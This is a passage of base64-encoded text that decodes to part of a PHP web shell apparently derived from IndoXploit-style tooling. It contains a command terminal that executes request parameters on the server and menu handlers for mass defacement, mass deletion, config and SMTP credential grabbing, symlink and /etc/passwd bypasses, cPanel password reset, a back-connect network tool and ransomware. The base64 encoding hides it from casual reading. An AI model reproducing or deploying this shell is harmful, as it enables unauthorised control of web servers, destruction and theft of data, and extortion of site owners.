c+DQoJCQk8aHIvPg0KCQkJPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiPg0KCQkJCTxkaXYgY2xhc3M9ImQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtY2VudGVyIGZsZXgtd3JhcCI+DQoJCQkJCTxhIGhyZWY9Ij8iIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtaG9tZSI+PC9pPiBIb21lPC9hPg0KCQkJCQk8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9dXBsb2FkIiBjbGFzcz0iZml0dXJlIGJ0biBidG4tZGFuZ2VyIGJ0bi1zbSI+PGkgY2xhc3M9ImZhIGZhLXVwbG9hZCI+PC9pPiBVcGxvYWQ8L2E+DQoJCQkJCTxhIGhyZWY9Ij9kaXI9Jy4kZGlyLicmYWtzaT1mb3JfZmlsZSIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS1wbHVzLWNpcmNsZSI+PC9pPiBDcmVhdGUgRmlsZTwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWZvcl9mb2xkZXIiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtcGx1cyI+PC9pPiBNYWtlIEZvbGRlcjwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPW1hc2RlZiIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi10cmlhbmdsZSI+PC9pPiBNYXNzIERlZmFjZTwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPW1hc2RlbCIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS10cmFzaCI+PC9pPiBNYXNzIERlbGV0ZTwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWp1bXBpbmciIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtZXhjbGFtYXRpb24tdHJpYW5nbGUiPjwvaT4gSnVtcGluZzwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWNvbmZpZyIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS1jb2dzIj48L2k+IENvbmZpZzwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWFkbWluZXIiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtdXNlciI+PC9pPiBBZG1pbmVyPC9hPg0KCQkJCQk8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9c3ltbGluayIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUiPjwvaT4gU3ltbGluazwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWJjdG9vbHMiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIj48aSBjbGFzcz0iZmFzIGZhLW5ldHdvcmstd2lyZWQiPjwvaT4gTmV0d29yazwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPXJlc2V0cGFzc2NwIiBjbGFzcz0iZml0dXJlIGJ0biBidG4td2FybmluZyBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS1rZXkiPjwvaT4gQXV0byBSZXNldCBDcGFuZWw8L2E+DQoJCQkJCTxhIGhyZWY9Ij9kaXI9Jy4kZGlyLicmYWtzaT1hdXRlZHVzZXIiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi13YXJuaW5nIGJ0bi1zbSI+PGkgY2xhc3M9ImZhcyBmYS11c2VyLWVkaXQiPjwvaT4gQXV0byBFZGl0IFVzZXI8L2E+DQoJCQkJCTxhIGhyZWY9Ij9kaXI9Jy4kZGlyLicmYWtzaT1yYW5zb20iIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi13YXJuaW5nIGJ0bi1zbSI+PGkgY2xhc3M9ImZhYiBmYS1rZXljZG4iPjwvaT4gUmFuc29td2FyZTwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPXNtdHBncmFiIiBjbGFzcz0iZml0dXJlIGJ0biBidG4td2FybmluZyBidG4tc20iPjxpIGNsYXNzPSJmYXMgZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlIj48L2k+IFNNVFAgR3JhYmJlcjwvYT4NCgkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWJ5cGFzY2YiIGNsYXNzPSJmaXR1cmUgYnRuIGJ0bi13YXJuaW5nIGJ0bi1zbSI+PGkgY2xhc3M9ImZhcyBmYS1jbG91ZCI+PC9pPiBCeXBhc3MgQ2xvdWQgRmxhcmU8L2E+DQoJCQkJCTxhIGhyZWY9Ij9kaXI9Jy4kZGlyLicmYWtzaT16aXBfbWVudSIgY2xhc3M9ImZpdHVyZSBidG4gYnRuLXdhcm5pbmcgYnRuLXNtIj48aSBjbGFzcz0iZmEgZmEtZmlsZS1hcmNoaXZlLW8iPjwvaT4gWmlwIE1lbnU8L2E+DQoJCQ0KCQkJCQk8YSBocmVmPSI/a2VsdWFyIiBjbGFzcz0iZml0dXJlIGJ0biBidG4td2FybmluZyBidG4tc20iPjxpIGNsYXNzPSJmYSBmYS1zaWduLW91dCI+PC9pPiBMb2dvdXQ8L2E+DQoJCQkJPC9kaXY+DQoJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9InJvdyI+DQoJCQkJPGRpdiBjbGFzcz0iY29sLW1kLTUiPjxici8+DQoJCQkJCTxoNT48aSBjbGFzcz0iZmEgZmEtdGVybWluYWwiPjwvaT5UZXJtaW5hbCA6IDwvaDU+DQoJCQkJCTxmb3JtPg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9ImNtZCIgYXV0b2NvbXBsZXRlPSJvZmYiIHBsYWNlaG9sZGVyPSJpZCB8IHVuYW1lIC1hIHwgd2hvYW1pIHwiPg0KCQkJCQk8L2Zvcm0+DQoJCQkJCTxoci8+DQoJCQkJCTxoNT48aSBjbGFzcz0iZmEgZmEtc2VhcmNoIj48L2k+IEluZm9ybWF0aW9uIDogPC9oNT4NCgkJCQkJPGRpdiBjbGFzcz0iY2FyZCB0YWJsZS1yZXNwb25zaXZlIj4NCgkJCQkJCTxkaXYgY2xhc3M9ImNhcmQtYm9keSI+DQoJCQkJCQkJPHRhYmxlIGNsYXNzPSJ0YWJsZSBpbmZvciI+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0ZD5QSFA8L3RkPg0KCQkJCQkJCQkJPHRkPiA6ICcuJHZlci4nPC90ZD4NCgkJCQkJCQkJPC90cj4NCgkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJPHRkPklQIFNlcnZlcjwvdGQ+DQoJCQkJCQkJCQk8dGQ+IDogJy4kaXAuJzwvdGQ+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0ZD5IREQ8L3RkPg0KCQkJCQkJCQkJPHRkIGNsYXNzPSJkLWZsZXgiPlRvdGFsIDogJy5mb3JtYXRTaXplKCR0b3RhbCkuJyBGcmVlIDogJy5mb3JtYXRTaXplKCRmcmVlKS4nIFsnLiRwZXJzLiclXTwvdGQ+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0ZD5Eb21haW48L3RkPg0KCQkJCQkJCQkJPHRkPjogJy4kZG9tLic8L3RkPg0KCQkJCQkJCQk8L3RyPg0KCQkJCQkJCQk8dHI+DQoJCQkJCQkJCQk8dGQ+TXlTUUw8L3RkPg0KCQkJCQkJCQkJPHRkPjogJy4kbXlzcWwuJzwvdGQ+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0ZD5jVVJMPC90ZD4NCgkJCQkJCQkJCTx0ZD46ICcuJGN1cmwuJzwvdGQ+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0ZD5NYWlsZXI8L3RkPg0KCQkJCQkJCQkJPHRkPjogJy4kbWFpbC4nPC90ZD4NCgkJCQkJCQkJPC90cj4NCgkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJPHRkPkRpc2FibGUgRnVuY3Rpb248L3RkPg0KCQkJCQkJCQkJPHRkPjogJy4kc2hvd19kcy4nPC90ZD4NCgkJCQkJCQkJPC90cj4NCgkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJPHRkPlNvZnR3YXJlPC90ZD4NCgkJCQkJCQkJCTx0ZD46ICcuJHNvZi4nPC90ZD4NCgkJCQkJCQkJPC90cj4NCgkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJPHRkPk9wZXJhdGluZyBTeXN0ZW08L3RkPg0KCQkJCQkJCQkJPHRkPiA6ICcuJG9zLic8L3RkPg0KCQkJCQkJCQk8L3RyPg0KCQkJCQkJCTwvdGFibGU+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJPC9kaXY+PGhyLz4NCgkJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9ImNvbC1tZC03IG10LTQiPic7DQoJCQkJLy9rZWx1YXINCgkJCQlpZiAoaXNzZXQoJF9HRVRbJ2tlbHVhciddKSl7DQoJCQkJCXNlc3Npb25fc3RhcnQoKTsNCgkJCQkJc2Vzc2lvbl9kZXN0cm95KCk7DQoJCQkJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSI/Ijs8L3NjcmlwdD4nOw0KCQkJCX0NCgkJCQkvL2NtZA0KCQkJCWlmKGlzc2V0KCRfR0VUWydjbWQnXSkpew0KCQkJCQllY2hvICI8cHJlIGNsYXNzPSd0ZXh0LXdoaXRlJz4iLmV4ZSgkX0dFVFsnY21kJ10pLiI8L3ByZT4iOw0KCQkJCQlleGl0Ow0KCQkJCX0NCgkJCQkvL2Fib3V0DQoJCQkJaWYgKGlzc2V0KCRfR0VUWydhYm91dCddKSl7DQoJCQkJCWFib3V0KCk7DQoJCQkJfQ0KCQkJCS8vdXBsb2FkDQoJCQkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ3VwbG9hZCcpew0KCQkJCQlha3NpVXBsb2FkKCRkaXIpOw0KCQkJCX0NCgkJCQkvL29wZW5maWxlDQoJCQkJCWlmIChpc3NldCgkX0dFVFsnZmlsZSddKSl7DQoJCQkJCSRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCgkJCQl9DQoJCQkJJG5maWxlID0gYmFzZW5hbWUoJGZpbGUpOw0KCQkJCS8vY2htb2QNCgkJCQlpZigkX0dFVFsnYWtzaSddID09ICdjaG1vZF9maWxlJyl7DQoJCQkJCWNobW9kRmlsZSgkZGlyLCRmaWxlLCRuZmlsZSk7DQoJCQkJfQ0KCQkJCS8vZm9yX2ZpbGUNCgkJCQlpZiAoJF9HRVRbJ2Frc2knXSA9PSAnZm9yX2ZpbGUnKXsNCgkJCQkJZm9yRmlsZSgkZGlyLCRpbWdmaWxlKTsNCgkJCQl9DQoJCQkJLy92aWV3DQoJCQkJaWYoJF9HRVRbJ2Frc2knXSA9PSAndmlldycpew0KCQkJCQl2aWV3KCRkaXIsJGZpbGUsJG5maWxlLCRpbWdmaWxlKTsNCgkJCQl9DQoJCQkJLy9lZGl0DQoJCQkJaWYoJF9HRVRbJ2Frc2knXSA9PSAnZWRpdCcpew0KCQkJCQllZGl0RmlsZSgkZGlyLCRmaWxlLCRuZmlsZSwkaW1nZmlsZSk7DQoJCQkJfQ0KCQkJCS8vcmVuYW1lDQoJCQkJaWYoJF9HRVRbJ2Frc2knXSA9PSAncmVuYW1lJyl7DQoJCQkJCXJlbmFtZUZpbGUoJGRpciwkZmlsZSwkbmZpbGUsJGltZ2ZpbGUpOw0KCQkJCX0NCgkJCQkvL0RlbGV0ZSBGaWxlDQoJCQkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ2hhcHVzZicpew0KCQkJCQloYXB1c0ZpbGUoJGRpciwkZmlsZSwkbmZpbGUpOw0KCQkJCX0NCgkJCQkkbmRpciA9IGJhc2VuYW1lKCRkaXIpOw0KCQkJCS8vY2htb2QNCgkJCQlpZigkX0dFVFsnYWtzaSddID09ICdjaG1vZF9kaXInKXsNCgkJCQkJY2htb2RGb2xkZXIoJGRpciwkbmRpcik7DQoJCQkJfQ0KCQkJCS8vQWRkIEZvbGRlcg0KCQkJCWlmICgkX0dFVFsnYWtzaSddID09ICdmb3JfZm9sZGVyJyApew0KCQkJCQlmb3JGb2xkZXIoJGRpciwkaW1nZm9sKTsNCgkJCQl9DQoJCQkJLy9SZW5hbWUgRm9sZGVyDQoJCQkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ3JlbmFtZV9mb2xkZXInICl7DQoJCQkJCXJlbmFtZUZvbGRlcigkZGlyLCRuZGlyLCRpbWdmb2wpOw0KCQkJCX0NCgkJCQkvL0RlbGV0ZSBGb2xkZXINCgkJCQlpZiAoJF9HRVRbJ2Frc2knXSA9PSAnaGFwdXNfZm9sZGVyJyApew0KCQkJCQlkZWxldGVGb2xkZXIoJGRpciwkbmRpcik7DQoJCQkJfQ0KCQkNCgkJCQkvKg0KCQkJCQkqIEZ1bmdzaV9UYW1iYWhhbg0KCQkJCQkqDQoJCQkJCSoNCgkJCQkJKiBNYXNzIERlZmFjZQ0KCQkJCQkqIEluZG9YcGxvaXQNCgkJCQkqLw0KCQkJCWlmKCRfR0VUWydha3NpJ10gPT0gJ21hc2RlZicpew0KCQkJCQlha3NpTWFzZGVmKCRkaXIsJGZpbGUsJGltZ2ZvbCwkaW1nZmlsZSk7DQoJCQkJfQ0KCQkJCS8qDQoJCQkJCSogbWFzcyBkZWxldGUNCgkJCQkJKiBJbmRvWHBsb2l0DQoJCQkJKi8NCgkJCQlpZigkX0dFVFsnYWtzaSddID09ICdtYXNkZWwnKXsNCgkJCQkJYWtzaU1hc2RlbCgkZGlyLCRmaWxlLCRpbWdmb2wsJGltZ2ZpbGUpOw0KCQkJCX0NCgkJCQkvKiANCgkJCQkJKiBKdW1waW5nDQoJCQkJCSogSW5kb1hwbG9pdA0KCQkJCSovDQoJCQkJaWYoJF9HRVRbJ2Frc2knXSA9PSAnanVtcGluZycpew0KCQkJCQlha3NpSnVtcCgkZGlyLCRmaWxlLCRpcCk7DQoJCQkJfQ0KCQkJCS8vQ29uZmlnDQoJCQkJaWYoJF9HRVRbJ2Frc2knXSA9PSAnY29uZmlnJyl7DQoJCQkJCWFrc2lDb25maWcoJGRpciwkZmlsZSk7DQoJCQkJfQ0KCQkJCS8vQnlwYXNzIGV0Yy9wYXNzd2QNCgkJCQlpZigkX0dFVFsnYWtzaSddID09ICdwYXNzd2J5cGFzcycpew0KCQkJCQlha3NpQnlwYXNzd2QoJGRpciwkZmlsZSk7DQoJCQkJfQ0KCQkJCS8vQWRtaW5lcg0KCQkJCWlmKCRfR0VUWydha3NpJ10gPT0gJ2FkbWluZXInKXsNCgkJCQkJYWtzaUFkbWluZXIoJGRpciwkZmlsZSk7DQoJCQkJfQ0KCQkJCS8qDQoJCQkJCSogU3ltbGluaw0KCQkJCQkqIEt1ZGEgU2hlbGwNCgkJCQkqLw0KCQkJCWlmKCRfR0VUWydha3NpJ10gPT0gJ3N5bWxpbmsnKXsNCgkJCQkJYWtzaVN5bSgkZGlyLCRmaWxlKTsNCgkJCQl9DQoJCQkJaWYoJF9HRVRbJ2Frc2knXSA9PSAnc3ltcmVhZCcpew0KCQkJCQlha3NpU3ltcmVhZCgkZGlyLCRmaWxlKTsNCgkJCQl9DQoJCQkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ3N5bV80MDQnKXsNCgkJCQkJc3ltNDA0KCRkaXIsJGZpbGUpOw0KCQkJCX0NCgkJCQlpZiAoJF9HRVRbJ2Frc2knXSA9PSAnc3ltX2J5cGFzJyl7DQoJCQkJCXN5bUJ5cGFzcygkZGlyLCRmaWxlKTsNCgkJCQl9DQoJCQkJLyoNCgkJCQkJKiBCYWNrIENvbm5lY3QNCgkJCQkJKiBLdWRhIFNoZWxsDQoJCQkJKi8NCgkJCQlpZigkX0dFVFsnYWtzaSddID09ICdiY3Rvb2xzJyl7DQoJCQkJCWJjVG9vbCgkZGlyLCRmaWxlKTsNCgkJCQl9DQoJCQkJLyoNCgkJCQkJKiBCeXBhc3MgRGlzYWJsZSBGdW5jdGlvbg0KCQkJCQkqIEt1ZGEgU2hlbGwNCgkJCQkqLw0KCQkJCWlmKCRfR0VUWydha3NpJ10gPT0gJ2Rpc2FiZnVuYycpew0KCQkJCQlkaXNhYkZ1bmMoJGRpciwkZmlsZSk7DQoJCQkJfQ0KCQkJCS8qDQoJCQkJCSogQXV0byBSZXNldCBDcGFuZWwNCgkJCQkJKiBBbmdrb2xWZW4gDQoJCQkJKi8NCgkJCQlpZiAoJF9HRVRbJ2Frc2knXSA9PSAncmVzZXRwYXNzY3AnKXsNCgkJCQkJcmVzZXRDcCgkZGlyKTsNCgkJCQl9DQoJCQkJLyoNCgkJCQkJKiBBdXRvIEVkaXQgVXNlcg0KCQkJCQkqIEluZG9YcGxvaXQNCgkJCQkqLw0KCQkJCWlmKCRfR0VUWydha3NpJ10gPT0gJ2F1dGVkdXNlcicpew0KCQkJCQlhdXRvRWRpdCgkZGlyLCRmaWxlKTsNCgkJCQl9DQoJCQkJLyoNCgkJCQkJKiBSYW5zb213YXJlDQoJCQkJCSogQW5na29sIFZlbg0KCQkJCSovDQoJCQkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ3JhbnNvbScpew0KCQkJCQlyYW5zb20oJGRpciwkZmlsZSk7DQoJCQkJfQ0KCQkJCS8qDQoJCQkJCSogU01UUCBHcmFiYmVyDQoJCQkJCSogSW5kb1hwbG9pdA0KCQkJCSovDQoJCQkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ3NtdHBncmFiJyl7DQoJCQkJCXNjaigkZGlyKTsNCgkJCQl9DQoJCQkJLy9CeXBhc3MgQ2xvdWQgRmxhcmUNCgkJCQlpZiAoJF9HRVRbJ2Frc2knXSA9PSAnYnlwYXNjZicpew0KCQkJCQlieXBhc3NjZigpOw0KCQkJCX0NCgkJCQkvKg0KCQkJCQkqIFppcCBNZW51DQoJCQkJCSogQW5na29sIFZlbg0KCQkJCSovDQoJCQkJaWYoJF9HRVRbJ2Frc2knXSA9PSAnemlwX21lbnUnKXsNCgkJCQkJemlwTWVudSgkZGlyLCRmaWxlKTsNCgkJCQl9IA0KCQ0KCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCgkJCQkJJHBhdGggPSAkX0dFVFsncGF0aCddOw0KCQkJCQljaGRpcigkcGF0aCk7DQoJCQkJfWVsc2V7DQoJCQkJCSRwYXRoID0gZ2V0Y3dkKCk7DQoJCQkJfQ0KCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOw0KCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCgkJCQllY2hvICJQYXRoIDogIjsNCgkJCQlmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpew0KCQkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsNCgkJCQkJCSRhID0gdHJ1ZTsNCgkJCQkJCWVjaG8gJzxhIGhyZWY9Ij9kaXI9LyI+LzwvYT4nOw0KCQkJCQkJY29udGludWU7DQoJCQkJCX0NCgkJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7DQoJCQkJCWVjaG8gJzxhIHN0eWxlPSJ3b3JkLXdyYXA6YnJlYWstd29yZDsiIGhyZWY9Ij9kaXI9JzsNCgkJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsNCgkJCQkJCWVjaG8gIiRwYXRoc1skaV0iOw0KCQkJCQkJaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCgkJCQkJfQ0KCQkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOw0KCQkJCX0NCgkJCQkkc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KCQkJCWVjaG8gIiZuYnNwOyZuYnNwO1sgIi53KCRkaXIsIHBlcm1zKCRkaXIpKS4iIF0iOw0KCQkJCWVjaG8gJzxkaXYgaWQ9InRhYiI+PHRhYmxlIGNsYXNzPSJ0ZXh0LXdoaXRlIG10LTEgdGFibGUtaG92ZXIgdGFibGUtcmVzcG9uc2l2ZSI+DQoJCQkJCTx0aGVhZCBjbGFzcz0iYmctaW5mbyB0ZXh0LWNlbnRlciI+DQoJCQkJCQk8dGggY2xhc3M9InRleHQtbGVmdCI+RmlsZS9mb2xkZXI8L3RoPg0KCQkJCQkJPHRoPlNpemU8L3RoPg0KCQkJCQkJPHRoPkxhc3QgTW9kaWZpZWQ8L3RoPg0KCQkJCQkJPHRoPlBlcm1pc3Npb248L3RoPg0KCQkJCQkJPHRoPkFjdGlvbjwvdGg+DQoJCQkJCTwvdGhlYWQ+JzsNCgkJCQ0KCQkJCQlmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpew0KCQkJCQkJJGR0aW1lID0gZGF0ZSgiZC9tL3kgRzppIiwgZmlsZW10aW1lKCIkZGlyLyRkaXJ4IikpOw0KCQkJCQkJLyogY2VrIGppa2EgaW5pIGJlcmJlbnR1ayBmb2xkZXIgKi8NCgkJCQkJCS8qIGNlayBqaWthIG5hbWEgZm9sZGVyIGthcmFrZXIgdGVybGFsdSBwYW5qYW5nICovDQoJCQkJCQlpZiAoc3RybGVuKCRkaXIpID4gMTgpew0KCQkJCQkJCSRfZGlyID0gc3Vic3RyKCRkaXIsIDAsIDE4KS4iLi4uIjsNCgkJCQkJCX1lbHNlew0KCQkJCQkJCSRfZGlyID0gJGRpcjsNCgkJCQkJCX0NCgkJCQkJCSRfZGlpciA9ICRfZGlyOw0KCQkJCQkJaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCgkJCQkNCgkJCQkJCWVjaG8gJzx0ciBjbGFzcz0idGV4dC1jZW50ZXIiPg0KCQkJCQkJCTx0ZCBjbGFzcz0icGluZ2dpciI+Jy4kaW1nZm9sLicgPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicvJy4kZGlyLiciPicuJF9kaWlyLic8L2E+PC90ZD4NCgkJCQkJCQk8dGQ+LS08L3RkPg0KCQkJCQkJCTx0ZD4nLiRkdGltZS4nPC90ZD4NCgkJCQkJCQk8dGQ+DQoJCQkJCQkJPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicvJy4kZGlyLicmYWtzaT1jaG1vZF9kaXIiPg0KJzsNCgkJCQkJCQlpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikpIGVjaG8gJzxmb250IGNvbG9yPSIjMDBmZjAwIj4nOw0KCQkJCQkJCWVsc2VpZighaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KCQkJCQkJCWVjaG8gcGVybXMoJHBhdGguJy8nLiRkaXIpOw0KCQkJCQkJCWlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8L2ZvbnQ+PC9hPjwvdGQ+DQoJCQkJCQkJPHRkPjxhIHRpdGxlPSJSZW5hbWUiIGNsYXNzPSJiYWRnZSBiYWRnZS1TdWNjZXNzIiBocmVmPSI/ZGlyPScuJHBhdGguJy8nLiRkaXIuJyZha3NpPXJlbmFtZV9mb2xkZXIiPiZuYnNwOzxpIGNsYXNzPSJmYXMgZmEtcGVuIj48L2k+Jm5ic3A7PC9hPiZuYnNwOyZuYnNwOzxhIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIiIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nLycuJGRpci4nJmFrc2k9aGFwdXNfZm9sZGVyIj4mbmJzcDs8aSBjbGFzcz0iZmEgZmEtdHJhc2giPjwvaT4mbmJzcDs8L2E+DQoJCQkJCQkJPC90ZD4NCgkJCQkJCTwvdHI+JzsNCgkJCQkJfQ0KDQoJCQkJCWZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KCQkJCQkJJGZ0aW1lID0gZGF0ZSgiZC9tL3kgRzppIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsNCgkJCQkJCS8qIGNlayBqaWthIGluaSBiZXJiZW50dWsgZmlsZSAqLw0KCQkJCQkJaWYoIWlzX2ZpbGUoJHBhdGguJy8nLiRmaWxlKSkgY29udGludWU7DQoJCQkJCQllY2hvICc8dHIgY2xhc3M9InRleHQtY2VudGVyIj4NCgkJCQkJCQk8dGQgY2xhc3M9InBpbmdnaXIiPjxpbWcgc3JjPSInOw0KDQoJCQkJCQkJLyogc2V0IGltYWdlIGJlcmRhc2Fya2FuIGV4dGVuc2kgZmlsZSAqLw0KCQkJCQkJCSRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCgkJCQkJCQlpZigkZXh0ID09ICJwaHAiKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzEyOC8zMzcvMzM3OTQ3LnBuZyInOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gImh0bWwiKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzEyOC8xMzYvMTM2NTI4LnBuZyInOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gImNzcyIpew0KCQkJCQkJCQllY2hvICdodHRwczovL2ltYWdlLmZsYXRpY29uLmNvbS9pY29ucy9wbmcvMTI4LzEzNi8xMzY1MjcucG5nIic7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicG5nIil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvMTM2LzEzNjUyMy5wbmciJzsNCgkJCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJqcGciKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzEyOC8xMzYvMTM2NTI0LnBuZyInOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gImpwZWciKXsNCgkJCQkJCQkJZWNobyAnaHR0cDovL2kuaW1ndXIuY29tL2U4bWt2UGYucG5nIic7DQoJCQkJCQkJfWVsc2VpZigkZXh0ID09ICJ6aXAiKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzEyOC8xMzYvMTM2NTQ0LnBuZyInOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gImpzIil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvMTEyNi8xMTI2ODU2LnBuZyc7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAidHRmIil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvMTEyNi8xMTI2ODkyLnBuZyc7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAib3RmIil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvMTEyNi8xMTI2ODkxLnBuZyc7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAidHh0Iil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvMTM2LzEzNjUzOC5wbmcnOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gImljbyIpew0KCQkJCQkJCQllY2hvICdodHRwczovL2ltYWdlLmZsYXRpY29uLmNvbS9pY29ucy9wbmcvMTI4LzExMjYvMTEyNjg3My5wbmcnOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gImNvbmYiKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzUxMi8xNTczLzE1NzMzMDEucG5nJzsNCgkJCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJodGFjY2VzcyIpew0KCQkJ